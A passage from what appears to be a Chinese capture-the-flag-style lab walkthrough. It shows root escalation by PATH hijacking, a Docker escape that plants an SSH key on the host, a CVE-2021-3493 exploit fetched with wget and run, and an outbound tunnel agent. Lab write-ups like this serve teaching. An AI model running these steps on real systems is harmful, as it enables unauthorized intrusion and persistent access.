class=\"wp-block-paragraph\">\/bin\/umount<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0jobs\u7528\u6237\u76ee\u5f55\u4e0b\u6709\u4e2ashell\u53ef\u6267\u884c\u6587\u4ef6<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u67e5\u770bjobs\u76ee\u5f55\u4e0b\u8fd8\u6709\u4ec0\u4e48\u6587\u4ef6<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-17.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-17.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6709\u4e2ademo.c\u6587\u4ef6\uff0c\u7591\u4f3c\u662f\u7f16\u8bd1\u524d\u7684shell<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include&lt;unistd.h&gt;   \/\/ \u63d0\u4f9b setuid, setgid \u7b49\u51fd\u6570\u58f0\u660e\nvoid main()         \/\/ \u4e0d\u89c4\u8303\uff1a\u5e94\u8be5\u8fd4\u56de int\uff0c\u4e14\u6700\u597d\u5199\u6210 int main(void)\n{\n    setuid(0);      \/\/ \u5c1d\u8bd5\u5c06\u5b9e\u9645\u7528\u6237ID\u8bbe\u4e3a 0 (root)\n    setgid(0);      \/\/ \u5c1d\u8bd5\u5c06\u5b9e\u9645\u7ec4ID\u8bbe\u4e3a 0 (root)\n    system(\"ps\");   \/\/ \u8c03\u7528 \/bin\/sh -c \"ps\" \u6267\u884c\u547d\u4ee4\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><code>system(\"ps\")<\/code> \u4f1a\u5728 <code>PATH<\/code> \u73af\u5883\u53d8\u91cf\u6307\u5b9a\u7684\u76ee\u5f55\u4e2d\u641c\u7d22 <code>ps<\/code> \u53ef\u6267\u884c\u6587\u4ef6\u3002<br>\u653b\u51fb\u8005\u53ef\u4ee5\u4fee\u6539 <code>PATH<\/code>\uff0c\u8ba9\u7a0b\u5e8f\u4f18\u5148\u627e\u5230\u6076\u610f\u7684 <code>ps<\/code>\uff0c\u4ece\u800c\u4ee5 root \u6743\u9650\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">shell\u6587\u4ef6\u5229\u7528\u8fc7\u7a0b<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728\u53ef\u5199\u76ee\u5f55(\/tmp)\u521b\u5efa\u4e00\u4e2a\u4e00\u4e2a\u540d\u4e3a <code>ps<\/code> \u7684\u811a\u672c<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">echo &#8216;#!\/bin\/sh\\n\/bin\/bash -p&#8217; &gt; \/tmp\/ps<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8d4b\u4e88\u6267\u884c\u6743\u9650<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">chmod +x \/tmp\/ps<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5c06 \/tmp \u52a0\u5230 PATH \u6700\u524d\u9762\uff0c\u7136\u540e\u8fd0\u884c shell<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">PATH=\/tmp:$PATH .\/demo<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>echo -e '#!\/bin\/sh\\n\/bin\/bash -p' &gt; \/tmp\/ps &amp;&amp; chmod +x \/tmp\/ps &amp;&amp; PATH=\/tmp:$PATH \/home\/jobs\/shell<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-18.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-18.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u63d0\u6743\u6210\u529f\uff0c\u7528\u6237\u4e3aroot<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u628a\u4f1a\u8bdd\u53d8\u4e3a\u4ea4\u4e92\u5f0f\uff0c\u4f9d\u65e7\u53c2\u8003\u8fd9\u4e24\u4f4d\u5927\u4f6c\u7684<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/saucer-man.com\/information_security\/233.html\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/saucer-man.com\/information_security\/233.html<\/a><br><a href=\"https:\/\/fushuling.com\/index.php\/2023\/10\/21\/%E5%90%8E%E6%B8%97%E9%80%8F%E4%B9%8B%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BDlinux%E7%AF%87\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/fushuling.com\/index.php\/2023\/10\/21\/%E5%90%8E%E6%B8%97%E9%80%8F%E4%B9%8B%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BDlinux%E7%AF%87\/<\/a><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python -c \"import pty;pty.spawn('\/bin\/bash')\"\n\/\/\u6216\u8005 script \/dev\/null -c bash  #\u5f3a\u5236\u5206\u914d\u66f4\u5b8c\u6574 tty\nctrl+z\nstty raw -echo; fg\nreset\nexport TERM=xterm-256color\nstty rows 55 columns 211<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-19.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-19.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u6839\u76ee\u5f55\u6709.dockerenv\uff0c\u662fdocker\u73af\u5883<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">docker\u9003\u9038<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>cat \/proc\/self\/status | grep CapEff \u67e5\u770bdocker\u662f\u5426\u662f\u7279\u6743\u6a21\u5f0f<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-20.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-20.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">CapEff: 0000003fffffffff<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">0000003fffffffff\u5c31\u662f\u63a5\u8fd1\u7279\u6743\u6a21\u5f0f\uff0c\u53ef\u4ee5\u6302\u8f7d\u78c1\u76d8\u7b49\u64cd\u4f5c<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">lsblk\u67e5\u770b\u539f\u673a\u5668\u78c1\u76d8<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-21.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-21.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u7684\u5224\u65ad\u4f9d\u636e\u662fSIZE\u5927\u7684sda\u4e3a\u9700\u8981\u7684\u78c1\u76d8<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u521b\u5efa\u4e00\u4e2a\u6587\u4ef6\u5939pass<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6302\u8f7d\u5230pass mount \/dev\/sda1 \/pass<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-22.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-22.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u67e5\u770b\u76ee\u6807\u4e3b\u673a\u662f\u4ec0\u4e48\u7cfb\u7edf<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cat \/etc\/os-release<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-23.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-23.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">ubuntu14.04.6\uff0c\u8003\u8651\u628assh\u5199\u5165\/home\/ubuntu\/.ssh\/authorized_keys\u56e0\u4e3aubuntu\u4e00\u822c\u4e0d\u5141\u8bb8ssh\u5230root\u7528\u6237<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u5199\u5165ssh\u5bc6\u94a5\u9003\u9038<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728Web1\u4e2d\u751f\u6210ssh\u5bc6\u94a5<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>ssh-keygen -t rsa<\/code><\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-24.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-24.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5199\u5165web2\u4e2d<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDscSjZL2dTdZRMxnuYgcC1YjxxC7UfaKfYr6sNVA2ezUTHxt3uoD7J0FctIvCEtPtEVREjcjKUrr7uDqFqx8dDvRFd7Mv8uZKoR\/qBxz4380dX0sWKKbj0KFcbIUONHT4BjOjCHyTMUMr17qe3KIcc+7+01+Vf22YJkL3enMcN\/FOpi110Mn7MmnfNzEV1SVUsapRK2ShBSUy4T81YBYXDzuNTHksbwjCvCAdImO3xVaVlENg46P9KiXmqd4QArMtwuVEJI3HUuP7jDlEvGGMGz9Uk1kwEtYDe1LsCS2Gtrx23b+6d0SoYeiXIK2Y1ORW5oGVQzomM4oBHFyQxLLS\/ root@ubuntu' &gt; pass\/home\/ubuntu\/.ssh\/authorized_keys\nssh ubuntu@192.168.52.20 -i ~\/.ssh\/id_rsa<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-25.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-25.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u767b\u5165\u6210\u529f<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-26.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-26.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">uid=1000(ubuntu)\u8fd8\u4e0d\u662f\u6700\u9ad8\u6743\u9650<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7cfb\u7edf\u662fubuntu14.04\u53ef\u4ee5\u7528CVE-2021-3493<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">CVE-2021-3493\u6f0f\u6d1e\u662fLinux\u5185\u6838\u4e2doverlayfs\u6587\u4ef6\u7cfb\u7edf\u4e2d\u7684Ubuntu\u7279\u5b9a\u95ee\u9898\uff0c\u5728Ubuntu\u4e2d\u6ca1\u6709\u6b63\u786e\u9a8c\u8bc1\u5173\u4e8e\u7528\u6237\u540d\u79f0\u7a7a\u95f4\u7684\u6587\u4ef6\u7cfb\u7edf\u529f\u80fd\u7684\u5e94\u7528\u7a0b\u5e8f\u3002\u7531\u4e8eUbuntu\u5e26\u6709\u4e00\u4e2a\u652f\u6301\u975e\u7279\u6743\u7684overlayfs\u6302\u8f7d\u7684\u8865\u4e01\uff0c\u56e0\u6b64\u672c\u5730\u653b\u51fb\u8005\u53ef\u4ee5\u4f7f\u7528\u5b83\u6765\u8fdb\u884c\u63d0\u6743\u64cd\u4f5c\uff0c\u56e0\u6b64\u8be5\u6f0f\u6d1e\u5bf9Linux\u7684\u5176\u4ed6\u53d1\u884c\u7248\u6ca1\u6709\u5f71\u54cd\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f71\u54cd\u7248\u672c<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ubuntu 20.10<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ubuntu 20.04 LTS<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ubuntu 18.04 LTS<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ubuntu 16.04 LTS<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ubuntu 14.04 ESM<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uff08Linux\u5185\u6838\u7248\u672c &lt; 5.11\uff09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/briskets\/CVE-2021-3493\">https:\/\/github.com\/briskets\/CVE-2021-3493<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u628aexploit.c\u4f20\u5230Web1\u4e2d\uff0c\u8ba9Web2\u7528wget\u4e0b\u8f7d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Web1\u4e2d:python3 -m http.server 8888<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Web2\u4e2dwget 192.168.52.10:8888\/exploit.c<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fdb\u884c\u7f16\u8bd1<code>gcc exploit.c -o exploit<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd0\u884cexploit .\/exploit<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-27.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-27.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">id=0\u63d0\u6743\u6210\u529f<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u7528Web1\u642d\u5efa\u5185\u7f51\u96a7\u9053<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728\u672c\u673aWindows\u4e2d:windows_x64_admin.exe -l 9999<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728Web1\u4e2d:.\/linux_x64_agent -c 192.168.59.1:9999<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-28.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-28.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728Windows\u4e2d\u5206\u914d\u6d41\u91cf<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">(admin) &gt;&gt; use 0<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">(node 0) &gt;&gt; socks 7777<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7528\u4ee3\u7406\u63d2\u4ef6ProxyBridge<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-29.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-29.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-30.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-30.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u914d\u7f6ekali\u7684socks<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">vim \/etc\/proxychains4.conf<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-31.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-31.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u914d\u7f6e\u4e00\u4e0b\u6d4f\u89c8\u5668\u7684socks5<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">PC1<\/h1>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-32.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-32.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f20fscan\u626b\u63cf\u5185\u7f51<\/p>\n\n\n\n<figure 